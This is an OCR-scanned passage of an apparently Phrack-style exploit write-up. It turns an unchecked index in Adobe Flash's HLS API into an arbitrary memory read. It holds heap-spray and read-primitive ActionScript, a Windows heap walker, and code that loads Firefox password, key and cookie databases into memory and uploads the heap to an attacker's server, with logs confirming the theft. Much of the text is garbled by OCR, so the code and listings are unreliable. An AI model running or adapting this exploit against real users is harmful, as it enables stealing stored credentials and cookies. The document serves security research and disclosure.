will not deal with the server component of the attached exploit that serves 
the malicious M3U8 files. The interested reader is advised to have a look 
at "m3u8.php", "dumper.php" and the relevant code in "WorkerMain.as". These 
details have been intentional left out so that the reader’s attention is 
not focused on simple technical issues like setting up Samba, Apache, DAV 
and so on. For more information have a look at "README.md" in the exploit’s 
top-level directory. 


HLS is quite flexible. An M3U8 playlist may specify the same media source 
(e.g. your favorite porn video) in various encodings and various bitrates. 
This way clients can adapt based on availability of bandwidth or other 
resources. Additionally a media source is allowed to be broken in smaller 
pieces, called periods, so that clients can faster seek to the required 
time location. Since the author is not really a media guy, the information 
and terminology in the following paragraphs is presented ad referendum. 


Let’s s an example M3U8 manifest taken from [16]: 


=-2 (Sn piesa 
EXTM3U 


EXT-X-STREAM- INF : PROGRAM-ID=1, BANDWIDTH=150000, RESOLUTION=416x234, \ 
CODECS="avcl.42e00a,mp4a.40.2" 
http://example.com/low/index.m3u8 


#EXT-X-STREAM-INF : PROGRAM-ID=1, BANDWIDTH=240000, RESOLUTION=416x234, \ 
CODECS="avecl.42e00a,mp4a.40.2" 
http://example.com/lo_mid/index.m3u8 


#EXT-X-STREAM- INF : PROGRAM-ID=1, BANDWIDTH=440000, RESOLUTION=416x234, \ 
CODECS="avcl.42e00a,mp4a.40.2" 
http://example.com/hi_mid/index.m3u8 


#EXT-X-STREAM-INF : PROGRAM-ID=1, BANDWIDTH=640000, RESOLUTION=640x360, \ 
CODECS="avecl.42e00a,mp4a.40.2" 
http://example.com/high/index.m3u8 


#EXT-X-STREAM-INF : PROGRAM-ID=1, BANDWIDTH=64000, CODECS="mp4a.40.5" 
http://example.com/audio/index.m3u8 
--- snip --- 


The manifest shown above defines 5, so called, bitrate profiles for the 
same media source. A client can choose any of these. For example, a low 
bandwidth client would pick the first entry and would proceed by loading 
the M3U8 manifest specified in the first "#EXT-X-STREAM-INF" entry. In 
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turn, this manifest may look like the following: 


x xX 
| 
ic 
ie 
> 
K 


LIST-TYPE: EVENT 
RGETDURATION:10 
iDIA-SEQUENCE: 0 
“10, 
leSequence0.ts 

10, 
leSequencel.ts 

:10, 

ence2.ts 

:10, 

ence3.ts 

:10, 

ence4.ts 


a 
7 
H 
Aa 


5 
| 

* 

z 


MP ee 
xb x 
j j 
Hi Hi 
ZO Zz 
AQ Fy 


HE 
HX 
0) 
QH 
OZ 

OQ 
= 


HE 
HX 
0) 
OH 
OZ 

OQ 
= 


PE 
HX 
D + 
QH 
OZ 
Rowers 
c 


EXTINF:10, 
ileSequencel20.ts 
] 210, 
ileSequencel21.ts 
iXT-X-ENDLIST 

=== snip. = 


HoH: E] be 
d 
a 
Zz 
ty 


The tag names starting with the hash character are not relevant right now. 
What is important is that the files named "fileSequenceXXX.ts" correspond 
to the media source’s periods. 


Once loading of the HLS manifest is complete, the ‘AVSegmentedSource’ 
instance may be used for querying information about the loaded manifest. 
One of the several methods exported by this class is 
‘getABRProfileInfoAtIndex()’. The prototype of this API is shown below: 


=o Snap ros 

getABRProfileInfoAtIndex (periodIndex:int, abrProfileIndex:int): 
AVABRProfileInfo 

SoS Sn pyres 


The API requires two integers, the period index (the index of the media 
source piece) and the bitrate profile index. For example, to query the 


profile information for the period "fileSequenecel.ts" of the low bandwidth 


profile, one might do the following: 


Sao Sna pea 
source.getABRProfileInfoAtIndex(1, 0); 
SHS snipes 


The reader should have already guessed where the actual bug lies. The 
second argument passed to this API is not checked. 17 
by calling ‘getABRProfileInfoAtIndex()’ as shown below: 


scSisni pyc > 
source. getABRProfileInfoAtIndex(0, Oxdeadbeef) ; 
--- snip --- 


Here’s what’s going on under the hood. The presented assembly snippet was 
taken from "NPSWF32_15_0_0_189.dl1l1". 


The bug can be triggered 
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so snap -c> 
; This is ‘getABRProfileInfoAtIndex()’ entry point 
sub_102354CC proc near 


xor ebx, ebx 


mov eax, [eaxt+40h] 

mov ecx, [ebptarg_4] ; Profile index controlled by the attacker 
mov esi, [eaxtecx*4] ; Read pointer to AVABRProfileInfo (1) 

cmp esi, ebx 

jnz short loc_10235525 


Loe. 10235525: 


push dword ptr [esi+8] ; Read 3 doublewords from ‘esi’ (2) 


push dword ptr [esit4] 
push dword ptr [esi 


loc_1023553E: 


Gl 


call sub_102347FC ; AVABRProfileInfo constructor 


loc_1023554D: 


pop edi 

pop ebx 

leave 

retn 8 ; Return AVABRProfilelInfo 
sub_102354CC endp 
so5 (SNP == 


Argument ‘arg _4’ is ‘abrProfileIndex’ shown the API’s definition and is 
fully controlled by the attacker. As it can be seen from the above assembly 
snippet, the integer passed to this method at (1) is not checked and it’s 
used to access an array of pointers to ‘AVABRProfilelInfo’ instances each 
representing an available ABR profile specified in the loaded HLS manifest. 
A pointer is read from the memory address at "[EAX + abrProfileInfo * 4]" 
and stored in ESI. This pointer is then dereferenced 3 times at (2) to read 
three doublewords. All three of them are leaked back to the user as part of 
the returned ‘AVABRProfileInfo’ instance. Accessing the leaked memory is 
just a matter of doing the following: 


--- snip --- 
// Our ‘Console’ class defined in a previous section 
var con:Console = new Console(this); 


var info:AVABRProfileInfo = source.getABRProfileInfoAtIndex(0, Oxdeadbeef) ; 


// Print leaked values in hexadecimal format. 
con.msg(info.width.toString(16)); 
con.msg(info.height.toString (16) ) 
con.msg(info.bitrate.toString(16) 
--- snip --- 


i 


----[ 3.2 Exploitation 
ssa [ 3.2.1 Assessment 


The following C++ pseudocode gives an oversimplified model for the 
aforementioned vulnerability. 


=o ASAT ple 
struct ABRProfilelInfo 


{ 
uint32_t width; 
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uint32_t height; 
uint32_t bitrate; 

}; 


class AVSegmentedSource 


{ 
private: 
struct ABRProfileInfo *profiles[]; 


public: 
struct ABRProfileInfo *getABRProfileInfoAtIndex(int, int); 


}; 

struct ABRProfileInfo *AVSegmentedSource: :getABRProfileInfoAtIndex(int i, 
int 3) 

{ 


return this->profiles[j]; 


AVSegmentedSource *source = new AVSegmentedSource(); 
AVABRProfileInfo *info; 


info = source->getABRProfileInfoAtIndex(i, Jj); 
printf ("Sx %x %x\n", info->width, info->height, info->bitrate); 
--- snip --- 


To successfully exploit this vulnerability an attacker will have to provide 
a number ‘j’, the second argument to ‘getABRProfileInfoAtIndex(), such that 
‘&éprofiles[j]’ happens to fall on a mapped memory address, say 0x11111111, 
and the doubleword at this location holds a valid pointer to an 
‘ABRProfileInfo’ structure, say 0x22222222. If these conditions are met, 
the call to the vulnerable API will complete successfully and the attacker 
will be given back the three doublewords at 0x22222222 (member ‘width’), 
0x22222222+4 (member ‘height’) and 0x22222222+8 (member ‘bitrate’) in the 
returned ‘ABRProfileInfo’ structure. Assuming the attacker, somehow, 
controls the doubleword at 0x11111111, he or she can then leak three 
doublewords from an arbitrary memory address by first assigning the victim 
memory address at 0x11111111 and then triggering the vulnerability. 


The following figure shows the relationship between the various structures 
described so far. 


this |-------- >| *profiles[0] |-------- >| width 
*profiles[1] |----+ height 
: bitrate 
| 
| 
*profiles[N] wooo co- >| width 
height 
bitrate 


So far so good. However, assuming the attacker has no information regarding 
the virtual memory layout of the victim Flash process, there’s no guarantee 


13.txt Wed Apr 26 09:43:48 2017 12 


that for an arbitrary number ‘j’, ‘&profiles[j]’ will, in fact, be a mapped 
memory address. For the following we are going to make the assumption that 
the attacker has no information regarding the state of the Adobe Flash 
process and has no way of gaining insight about it. That is, we are going 
to assume that the presented vulnerability is the only vulnerability the 
attacker has knowledge about and thus no safe assumptions can be made about 
the value of ‘j’. 


SSsSS= [ 3.2.2 From relative to absolute information leak 


Ideally, one would attempt to place controlled data, a string for example, 
right next to the ‘profiles[]’ array using well known and studied heap 
shaping techniques. Then, with a properly chosen value for ‘j’ 
‘&éprofiles[j]’ would fall on the aformentioned controlled data region, 
resulting in total control on the address from where data will be leaked 
back to the attacker. This is definitely a good way to go, however the 
exploit attached in this article uses a different technique. Unfortunately, 
several years have passed since I discovered this vulnerability and I don’t 
recall reason why I didn’t follow this technique. IIRC ‘profiles[]’ was not 
in the AVM managed heap and it was thus hard to control the heap contents 
right next to it. Hard, but not impossible I guess. 


Probably not the best strategy, but one that works, is to spray the heap 
with a few very large vectors of unsigned integers, hoping that a high 
memory address is reached and that this address holds user supplied data. 
The attached exploit allocates 64 such vectors, 0x01000000 bytes in size 
each, and the high address in question is assumed to be 0x0a000000, but 
that’s an arbitrary choice, any high address properly chosen will do. It 
should be noted that the heap spray vectors should be filled with a 
d 
c 
t 


oubleword value corresponding to the chosen high address, that is, in our 
ase, we should set all elements of all vectors to 0x0a000000 for reasons 
hat will become apparent later. 


Since a great deal of the memory space is filled with our vectors, 
supplying a quite large value for ‘j’ has a good chance of making 
‘&éprofiles[j]’ to fall within one of the heap sprayed regions. The exploit 
will first attempt to leak a doubleword from ‘&profiles[0x01000000]’. A 
leaked value of 0x0a000000 is an indication that the heap spray has 
succeeded. 


==>) Snip == 
private const VECNUM:uint = 64; 
private const VECSZ:uint = 0x01000000 / 4 - 2; 


private function _do_heap_spray():void 
{ 
var v:Vector.<uint>; 
this. _sv = new Vector.<*>(this.VECNUM) ; 
for(var i:uint = 0; i < this.VEC 


{ 


Zz 
G 
cs 
H 

+ 
+ 


v = new Vector.<uint>(this.VECSZ) ; 

for(var j:uint = 0; j < this.VECSZ; j++) 
vi[j] = 0x0a000000; 

this._sv[i] = v; 


} 
} 


--- snip --- 


One might wonder why spraying the heap with just a few very large vectors 
may be better, as opposed to spraying with a large number of smaller 
vectors. Usually, we need to decrease the metadata to data ratio. The more 
vectors we instantiate the more metadata are allocated in the victim 
process’ GC heap, the AVM managed heap. However, by allocating only a few 
very large vectors we can make sure heap space is mostly filled with user 
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supplied unsigned integers and only a few bytes of metadata is used. 
The underlying C++ vector objects hold a pointer to a memory region that 


holds the actual data (for more information see [18]). This memory region 
has the following format. 


https://github.com/adobe-flash/avmplus/blob/master/core/avmplusList.h#L83 


--- snip --- 
template<class STORAGE, 
{ 


uint32_t slop> struct ListData 


uint32_t len; 
MMgc::GC* _gc; 
STORAGE entries[1]; 


}; 


=== (snipres- 


came across the following GitHub 
by Adobe! In this new version of 
shown above has changed and 
added. 


While writing this article, the author 
repository, which was recently updated 
"avmplus", the layout of the structure 
XOR-based overflow protection has been 


https://github.com/adobe/avmplus/blob/master/core/avmplusList .h#L83 


Now, let’s assume that our heap spraying results in the partial memory 
layout depicted in the following figure. 


0x0a000000 - X 0x01000000 0x22222222 0x0a000000 0x0a000000 
0x0a000000 0x0a000000 0x0a000000 0x0a000000 0x0a000000 
0x0a000010 O0x0a000000 0x0a000000 0x0a000000 0x0a000000 
0x0a000020 0x0a000000 0x0a000000 0x0a000000 0x0a000000 
0x0a000030 0x0a000000 0x0a000000 0x0a000000 0x0a000000 
Ox0a000000 + Y 0x0a000000 0x0a000000 0x0a000000 0x0a000000 


As it was previously mentioned, 
results in address 0x0a000000, 


address, 


vectors. Thi 


Ss 


th 


contains 0x0a000000, 
in this case, 
the memory address itself. 

say 
*Ox0a000000 + Y’, 


that, 
0x0a000000, 
value of ‘4 


doublewords 


By repeated] 


, 


will 


y cal 


ay 


i 0x01000000’, ‘&profiles[j]’ 
then ‘profiles[j] 0x0a000000’ 
be leaked from 0x0a000000. So far, 


ling ‘getABRProfileInfoAtIndex()’ 


of ‘43 
‘profiles[j 
leaked from 


', &profil 


, 


les[j]’ 
will 


will eventually point to 
‘0x22222222' 


that 


be equal to 
address. However, 


and consequent] 


*0x0a000000 
and three doublewords will 
recall that this is the address of a Ctt 


elements. 


for a quite 
happens to fall at 


so good. 


with decreasing val 
-X +4’, 


xploit assumes that heap spraying 
an otherwise randomly chosen high heap 

falling within the container memory region of one of the 64 large 
is depicted in the above schematic where address 0x0a000000 

the value assigned in all vectors’ 
dereferencing memory address 0x0a000000 returns 
Let’s assume that, 


Notice 


large 


ly three 


LUES 


l be 


‘ListData’ 


shown above), 


object 


(*‘_gc’ member in 


leaked doubl 


leword will 


l hold the object’s virtual 


Additionally, 


‘éprofil 


les[j + 1]’ 


is the pointer 


and consequently the first 
function table address. 
to the first element of the 


same container memory region. Notice t 
care, which of the 64 vectors this con 


We now have two assets at hand: 


hat we don’t know, and we shouldn’t 
tainer belongs to. 


* A virtual function table pointer which can be used to determine the 


Flash Player module base address. 


* An easy way of reading arbitrary memory addresses. 


, 


For each vector ‘v 
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in the set of spray vectors, se set ‘v[0] = Oxdeadbeef’ and call 
‘getABRProfileInfoAtIndex()’ passing the aforementioned ‘j + 1’ value 
as the second argument. This will result in 3 doublewords being leaked 
from Oxdeadbeef. 


All this may be confusing even if you are the most experienced exploit 
writer in the world. Take your time and think about it. 


The following function in "WorkerMain.as" implements the logic described so 
far. When it completes, ‘this._idx’ is the value of ‘j + 1’, and 

‘this. _vtable_address’ is the leaked address of the C++ object’s virtual 
function table. 


—S Snip. = 
private function _get_vtable_and_index() :Boolean 
{ 

var ret:Boolean = false; 

var pi:AVABRProfilelInfo; 

var idx:uint = 0x01000000; 


// Tf the first attempt to leak data returns 0, then we hav ither 

// landed on an invalid heap address (i.e. not covered by any of the 
// large vectors), or we’re running on a very old Flash Player that 

// doesn’t support HLS streaming. 

pi = this._source.getABRProfileInfoAtIndex(0, idx); 


if (pi.bitsPerSecond != 0) 
{ 
while(pi.bitsPerSecond == 0x0a000000) 
{ 
idx -= 1; 


pi = this._source.getABRProfileInfoAtIndex(0, idx); 
} 
this._idx = idx + 1; 
this._vtable_address = pi.bitsPerSecond; 
ret -=- true; 
} 


return ret; 


=== snip: === 


Reading a doubleword from an arbitrary address, it’s then just a matter of 
calling the function below (also defined in "WorkerMain.as"). 


SSS US hip es= 
// Read a doubleword from the given memory address. 
private function _read_dword(addr:uint) :uint 
{ 
var pi:AVABRProfilelInfo; 
var ret:uint; 


// (1) 
for(var i:uint = 0; i < this.VECNUM; itt) 
this. _sv[i][0] = addr; 


// (2) 
pi = this._source.getABRProfileInfoAtIndex(0, this._idx); 


ret = pi.bitsPerSecond; 
return ret; 


} 


=> snip == 
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At (1) we iterate over the 64 heap spray vectors and set their first 
element to the address from where we want to read a doubleword. We then 
call the vulnerable API, at (2), with the appropriate second argument that 
results in some vector’s first element being dereferenced as a memory 
address. The value in ‘pi.bitsPerSecond’ returns the leaked value. 


Moving one level up in the abstraction layers, the following function, 
implemented on top of ‘_read_dword()’ given above, can be used to read 
arbitrary amounts of data from a given memory address. Its usefulness will 
become apparent later, but you can pretty much guess. 


-=- snip. --- 
// Read an arbitrary amount of bytes starting from the given memory 
// address. Note that we can’t read less than 4 bytes at a time, so, 
// less than ‘len’ bytes may be returned. 
private function _read(addr:uint, len:uint) :String 
{ 

var dw:uint; 

var raw:String = ""; 


// Align at a multiple of 4 (_downwards_, _not_ upwards) and then 
// subtract the number of bytes dereferenced every time the bug is 
// triggered. We do that in an attempt to avoid hitting unmapped 
// memory regions. 
len = len & ~3; 
if (this._readahead > 0) 

len -= this._readahead; 


for(var i:uint = 0; i < (len & ~3); i += 4, addr += 4) 
{ 
dw = this._read_dword (addr) ; 
raw += String.fromCharCode(dw & Ox000000ff) + 
String. fromCharCode((dw & Ox0000ff00) >>> 8) + 
String. fromCharCode((dw & O0x00ff0000) >>> 16) + 
String. fromCharCode((dw & Oxff000000) >>> 24); 


return raw; 


} 


==> 6n1 po -s5 


aoaase [ 3.2.3 Discovering Flash Player base address 


As it was mentioned in 3.2.2, method ‘_get_vtable_and_index()’, among other 
things, returns the address of a virtual function table discovered during 
the early steps of the exploit. Computing the base address of the Adobe 
Flash Player plug-in is now a matter of aligning the virtual table address 
to the previous multiple of the page size, reading a doubleword from that 
location and checking if the "MZ" signature (0x5a4d) is there. If not, 
0x1000 is subtracted from the address in question and the process is 
repeated. Method ‘_get_flash_address()’ in "WorkerMain.as" implements the 
logic described in this paragraph. 


-—-- snip --- 
// Attempt to locate the Flash Player base address. 
private function _get_flash_address():void 


{ 
var addr:uint = this._vtable_address & Oxfffff000; 
var dw:uint; 


dw = this._read_dword (addr) ; 
while((dw & Ox0000ffff) != 0x00005a4d) 
{ 

addr -= 0x1000; 
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dw = this._read_dword (addr) ; 


this._flash_address = addr; 
} 


--- snip --- 


When *‘_get_flash_address()’ completes, ‘this._flash_address’ will hold the 
base address of the Adobe Flash Player plug-in. 


ee [ 3.2.4 Discovering the CRT heap address 


Being able to to read doublewords from arbitrary memory addresses, means 
one can easily locate the address of the Microsoft Windows heap used by the 
Adobe Flash plug-in process. The following assembly snippet can be found in 


‘_heap_init()’, a function found in most PE executables’ early 
initialization code. 


=-= Snip. === 

call ds:HeapCreate 
mov __crtheap, eax 
S=— Snap Has 


The variable named ‘__crtheap’ is a global holding a ‘HANDLE’ to the CRT 
heap. However, heap ‘HANDLE’ values are, in fact, heap base addresses. An 
attacker may exploit the information leak vulnerability to read the 
contents of this global variable and discover the sandboxed child’s CRT 
heap base address. Taking into account the information presented in the 
previous sections, it’s quite trivial to achieve this: 


* Set ‘v[0] = &__crtheap’ for each heap spray vector ‘v’. 
* Trigger the vulnerability by calling ‘getABRProfileInfoAtIndex()’. 


The value of ‘& crtheap’ can easily be located by searching the Flash 
plug-in’s text segment for the following byte pattern. The wildcards marked 
with "??" correspond to the address of ‘HeapCreate()’. The doubleword that 
follows this pattern is ‘& __crtheap’. 


68 00 10 00 00 50 ££ 15 ?? 2? ?? ?? a3 


The following function, found in the exploit’s "WorkerMain.as", is 
responsible for discovering the CRT heap address. It makes use of 
‘this._read_dword()’, the function that abstracts the vulnerability details 
away and allows the AS3 programmer to read data from arbitrary memory 
addresses. 


So 18n pts 

// Locate the address of ‘__crtheap’, the variable that points to the 
// process’ main heap, and dereference it to read the heap’s address. 
private function _get_heap_address():void 


{ 


var match:RegExp = /\x68\x00\x10\x00\x00\x50\xff£\x15....\xa3/; 
var addr:uint = this._flash_address; 

var raw:String; 

var i:int; 


raw = this._read(addr, 0x1000) 
while((i = raw.search(match)) < 0) 
{ 

addr += 0x1000; 

raw = this._read(addr, 0x1000) 
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addr += i+ 13; 

addr = this._read_dword (addr) ; 

this._heap_address = this._read_dword (addr) ; 
this._parser = new CRTHeapParser (this._read_dword) ; 


With this in hand, one may walk all heap allocations and read all data 
reachable in the heap at the time the exploit executes. Notice that, the 
GC heap, Adobe Flash’s own heap allocator, acts on top of the Microsoft 
Windows CRT heap. 


Se [ 3.2.5 Walking CRT heap allocations 


Once the CRT heap address has been leaked, walking the whole heap is pretty 
straightforward. Luckily for an attacker, Chris Valasek and Tarjei Mandt 
have done a great work at documenting the Microsoft Windows heap internals 
([13], [14], [15]). 


The Windows heap parsing logic is implemented in "CRTHeapParser.as" in 
class ‘CRTHeapParser’. The class is quite abstract, the reader can use it 
in any information leak vulnerability. It effectively implements the 
equivalent of ‘HeapWalk()’ in AS3. The constructor expects a single 
argument, a function used to read a doubleword from an arbitrary memory 


address (s the definition of ‘_read_dword()’ later in this section). 
--- snip --- 

this._parser = new CRTHeapParser (this._read_dword) ; 

--- snip --- 


Once a ‘CRTHeapParser’ instance has been created, the heap can be walked 
using the method ‘walk()’ as shown below: 


=== {snip a= 
this._parser.walk(this._heap_address, this._get_username_cb) ; 
S55 “Snipes 


The first argument is the address of heap to walk (a Windows application 
may have more than one heap) while the second is a callback to call for 
each discovered heap allocation. The name of the shown callback function 
will be explained later. 


Sao Snap 
private function _get_username_cb(address:uint, size:uint) :Boolean 


{ 
} 


--- snip --- 


The callback receives two arguments. The address of a heap allocation and 
the allocation size. It’s up to the callback implementer to read the 
contents of this heap allocation (using the information leak exploit) and 
discover its contents. 


--- snip --- 
// Read a doubleword from the given memory address. 
private function _read_dword(addr:uint) :uint 
{ 
var pi:AVABRProfilelInfo; 
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var ret:uint; 


// Check if the readahead crosses a page boundary. If yes, then the 

// next page may be unmapped. 

var cross_page:Boolean = ((addr + this._readahead) & Oxfffff000) != 
(addr & Oxfffff000); 


// Tf so, subtract the readahead from the address to be dereferenced 
// and return ‘pi.height’ instead of ‘pi.bitsPerSecond’ :) 
if(cross_page && this._readahead > 0) 

addr -= this._readahead; 


for(var i:uint = 0; i < this.VECNUM; itt) 
this._sv[i] [0] = addr; 
pi = this._source.getABRProfileInfoAtIndex(0, this._idx); 


if(cross_page && this._readahead > 0) 
ret = pi.height; 

else 
ret = pi.bitsPerSecond; 


return ret; 


} 


SS ASni pres 


As it has already been mentioned, the above is, actually, the equivalent of 
‘HeapWalk()’ [19] implemented by abusing our read primitive. 


------ [ 3.2.6 Reading arbitrary files 


Now that we have a powerful arbitrary read primitive at hand, it’s time we 
examine what can be done with it. An obvious potential is dumping the 
memory contents of the sandboxed Adobe Flash Player process. However, 
unless sensitive information is already present in the process’ memory, 
doing this won’t yield any interesting results. 


What if one could force the sandboxed child load and map arbitrary files in 
memory? Assuming a file has been mapped somewhere in the process’ heap, 
discovering its contents is just a matter of walking the heap and locating 
the heap region that carries the contents of the file. 


The M3U8 specification mentions the following: 


3.4.4. EXT-X-KEY 


Media segments MAY be encrypted. The EXT-X-KEY tag specifies how to 
decrypt them. It applies to every media URI that appears between it and 
the next EXT-X-KEY tag in the Playlist file (if any). Its format is: 


#EXT-X-KEY:<attribute-list> 


If the encryption method is AES-128, the URI attribute MUST be present. 


The URI attribute specifies how to obtain the key. Its value is a 
quoted-string that contains a URI [RFC3986] for the key. 


If the URI specifies a local file, the Flash Player child will happily load 
and map it in memory (it’s well known that the NPAPI Firefox Flash Sandbox 
allows reading arbitrary files from the filesystem). A relatively big file 
will occupy a heap segment of its own, making it easier for an attacker to 
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discover its contents. 


Ideally, an attacker would like to load in memory the SQLite database 
holding the Firefox stored passwords. However, this is not as 
straightforward as it may sound at first. On Microsoft Windows, these 
databases reside at the following location: 


C: \Users\USERNAME \AppData\Roaming\Mozilla\Firefox\Profiles\PROFILE_NAME\ 
signons.sqlite 


The path above contains two unknown quantities, the victim’s username and 
the Firefox profile name which is a random identifier produced during 
installation. Before being able to load thes files, one needs to finda 
way to determine the unknown values first. 


Since we already have an arbitrary read, as well as a more advanced heap 
walking abstraction, at hand, figuring out the victim’s username is quite 
easy. On Microsoft Windows, environment variables lie somewhere at the very 
beginning of the process heap, so, our heap walker will visit this 
allocation too. Assuming we have successfully leaked the address of the 
main heap as described above, leaking the victim’s username as simple as 
calling ‘walk()’ with a callback function that uses regular expressions to 
locate the string ":\Users\xxx\AppData" in the heap data. 


--- snip --- 

// “Leak heap data and look for a pattern that matches the username in 
// the target system. We need that in order to access files within the 
// user’s home directory. 

private function _get_username_cb(address:uint, size:uint) :Boolean 


{ 


var matches:Array; 
var ret:Boolean = false; 


// ‘_read()’ is the function implementing the read primitive. 
var raw:String = this._read(address, size); 


matches = raw.match(/:\\Users\\([*\\]*) \\AppData/) ; 


if (matches != null) 

{ 
this._username = matches[1]; 
ret = true; 


} 


return ret; 


} 


private function _get_username() :Boolean 
{ 
return this._parser.walk(this._heap_address, this._get_username_cb) ; 


} 


--- snip --- 


If ‘_get_username_cb()’ succeeds, the leaked username is stored in 
‘this._username’. 


This whole process may be repeated to first load "profiles.ini", the file 
that holds the randomly generated Mozilla Firefox profile name and then the 
SQLite databases holding the keys and passwords. The content’s of the 
aforementioned files can then be dumped using ‘this._parser.walk()’ with 
different callback methods as shown below. 


--- snip --- 
// Search for the random Firefox profile name in heap data. 
private function _get_profile_name_cb(address:uint, size:uint) :Boolean 
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var matches:Array; 


var ret:Boolean = false; 

var raw:String = this._read(address, size); 

matches = raw.match(/Path=Profiles[\/\\] ([[:print:]]+)/); 
if(matches != null) 


{ 
this._profile_name = matches[1]; 
Tet =. tEuey 


} 


return ret; 


} 


private function _get_profile_name() :Boolean 


{ 
this._parser.walk(this._heap_address, this._get_profile_name_cb); 
} 


==> (snip: ==> 


Last but not least, the ‘_upload_data_cb()’ is used in a final call to 
‘walk()’ to upload the full heap contents to a server of the attacker’s 
choosing: 


H-4, "snipe 4+ 
// Collects data and uploads it on our server. 
private function _upload_data_cb(address:uint, size:uint) :Boolean 


{ 


var raw:String = this._read(address, size); 
if (this._mem == null) 
this._mem = ""; 


this._mem += raw; 


// Upload data in blocks of ‘DUMPSZ’ bytes. 
if(this._mem.length >= this.DUMPSZ) 
{ 
this._con.msg("Uploading block of " + this._mem.length + " bytes"); 


var b64:Base64Encoder = new Base64Encoder (); 
b64.encode (raw) ; 
raw = b64.toString(); 


var vars:URLVariables = new URLVariables(); 
vars.id = this._get_unigid(); 
vars.data = raw; 


var regq:URLRequest = new URLRequest (this.DUMPURL) ; 
req.data = vars; 
req.method = URLRequestMethod.POST; 


var ldr:URLLoader = new URLLoader(); 
ldr.dataFormat = URLLoaderDataFormat.BINARY; 
ldr.load(req) ; 


this._mem = ""; 


} 


// Return ‘false’ so that ‘parser.walk()’ walks the whole heap. 
return false; 


} 


private function _steal_cookies_and_passwords():void 


{ 
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// Dump the whole heap :) 
this._parser.walk(this._heap_address, this._upload_data_cb) ; 


} 


--- snip --- 


The exploit’s server component "dumper.php" will store the uploaded data in 
a file under "/tmp". Section 3.2.8, entitled "Logs", proves that the SQLite 
databases holding keys and passwords have succesfully been uploaded to the 

attacker’s server. 


So [ 3.2.7 - Overall exploit methodology 


Summing up, the complete exploitation process consists of the steps given 
below. The interested reader is referred to the corresponding sections of 
this article for a detailed analysis of each step. Briefly the attached 
exploit: 


* Performs some standard heap spraying and attempts to determine if it 
was successful or not. 


* Abuses the layout of AS3 ‘Vector<uint>’ data containers to leak 
information from arbitrary absolute memory addresses. In this step, the 
address of a virtual function table is also discovered. 


* Discovers the Adobe Flash plug-in’s base address. 


* Walks the CRT heap once to locate the environment variables of the 
victim process. Simple pattern matching is used to locate the usernam 
of the victim. 


* Asks the exploit’s server component to return an M3U8 manifest that 
results in the AVM loading "profiles.ini" several times in the victim 
process memory. 


* Walks the CRT heap once again to locate "profiles.ini" contents and 
read the name of the default profile. Most (all) users use just a 
Single Firefox profile. 


* Asks the exploit’s server component to return an M3U8 manifest that 
loads "Signons.sqlite", "key3.db" and "cookies.sqlite" in the victim’s 
memory. 


* Walks the CRT heap again and uploads all heap allocations to a server 
of the attacker’s choosing. Some of these allocations contain the 
SQLite database contents. 


The author has run several experiments and has verified that the above 
exploitation works as expected. 


saat [) Sie2e8o= Hhogz 


This is how the user’s browser looks like when debugging output is enabled 
in the exploit’s code: 


-—-- snip --- 

(2016-01-26 01:04:42) *)] Will now load worker from WorkerMain.swf 
(2016-01-26 01:04:42) *] New worker started 

(2016-01-26 01:04:42) [*] Preparing stream 

(2016-01-26 01:04:54) *] Readahead size is 8 

(2016-01-26 01:04:54) [*] Spraying the heap 

(2016-01-26 01:04:56) *] GC virtual table @0x67cadaf0 

(2016-01-26 01:04:56) [*] Flash player base address @0x67010000 
(2016-01-26 01:05:07) [*] __crtheap @0x4e0000 
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(2016-01-26 01:05:07) [*] Matched Windows username "huku" 
(2016-01-26 01:05:07) [*] Preparing to leak Firefox profile name 
(2016-01-26 01:05:07) [*] New manifest "\\192.168.0.200@80\tmp\ 
master—6c616c616b6973-—-99643158.m3u8" 
(2016-01-26 01:05:07) [*] Sleeping for a while... 
(2016-01-26 01:05:19) *] Matched Mozilla Firefox profile name 
"liqso3kl.default" 
(2016-01-26 01:05:19) [*] Preparing to steal cookies and passwords 
(2016-01-26 01:05:19) [*] New manifest "\\192.168.0.200@80\tmp\ 
master—6c616c616b6973-6c6971736f336b6c2e64656661756c74-efa5759b.m3u8" 
(2016-01-26 01:05:19) [*] Sleeping for a while... 
(2016-01-26 01:05:31) [*] Uploading block of 54040 bytes 
(2016-01-26 01:05:32) [*] Uploading block of 383168 bytes 
(2016-01-26 01:05:32) [*] Uploading block of 33544 bytes 
(2016-01-26 01:05:32) [*] Uploading block of 36096 bytes 
(2016-01-26 01:05:32) [*] Uploading block of 36280 bytes 
(2016-01-26 01:05:32) [*] Uploading block of 97608 bytes 
(2016-01-26 01:05:32) [*] Uploading block of 34976 bytes 
(2016-01-26 01:05:32) [*] Uploading block of 131064 bytes 
(2016-01-26 01:05:32) [*] Uploading block of 36768 bytes 
(2016-01-26 01:05:32) [*] Uploading block of 41976 bytes 
(2016-01-26 01:05:32) [*] Uploading block of 40960 bytes 
(2016-01-26 01:05:32) [*] Uploading block of 40960 bytes 
(2016-01-26 01:05:32) [*] Uploading block of 42336 bytes 
(2016-01-26 01:05:33) [*] Uploading block of 131064 bytes 
(2016-01-26 01:05:33) [*] Uploading block of 36856 bytes 
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes 
(2016-01-26 01:05:33) [*] Uploading block of 36856 bytes 
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes 
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes 
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes 
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes 
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes 
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes 
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes 
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes 
(2016-01-26 01:05:33) [*] Uploading block of 107296 bytes 
(2016-01-26 01:05:33) [*] Uploading block of 44232 bytes 
(2016-01-26 01:05:34) [*] Uploading block of 528400 bytes 
(2016-01-26 01:05:34) [*] Uploading block of 528376 bytes 
(2016-01-26 01:05:35) [*] Uploading block of 528376 bytes 
(2016-01-26 01:05:35) [*] Freeing worker resources 
(2016-01-26 01:05:35) [*] Marking target 
(2016-01-26 01:05:35) [*] Done 


=-=- snip -=- 


On the attacker’s server, a binary file holding exfiltrated data is created 
in "/tmp". The SQLite databases holding the victim’s keys and passwords can 
also be found there. 


HS Snaptacs 
S hexdump -C /tmp/154a61b6c8227ae0acfdfb974141ldd6f.bin | grep SQLite 
dd c5 37 4e 00 00 00 04 53 51 4c 69 74 65 20 66 |..7N....SQLite f| 
